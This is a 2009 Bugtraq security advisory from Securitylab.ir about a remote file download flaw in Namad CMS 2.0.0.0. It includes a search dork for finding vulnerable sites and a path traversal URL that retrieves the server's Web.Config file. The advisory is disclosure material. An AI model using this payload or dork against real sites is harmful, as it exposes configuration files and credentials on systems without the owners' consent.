[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Namad Cms Remote File Download
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Namad Cms Remote File Download
- From: info@xxxxxxxxxxxxxx
- Date: Tue, 19 May 2009 05:52:07 -0600
######################### Securitylab.ir ########################
# Application Info:
# Name: Namad
# Version: 2.0.0.0
# Website: http://imenafzar.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
# Dork: "Copyright 2008 ImenAfzar ver :2.0.0.0"
#===========================================================
#
http://site.ir/SecureDownloads.aspx?Mode=Downloads&Type=Files&FileName=../../Web.Config
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################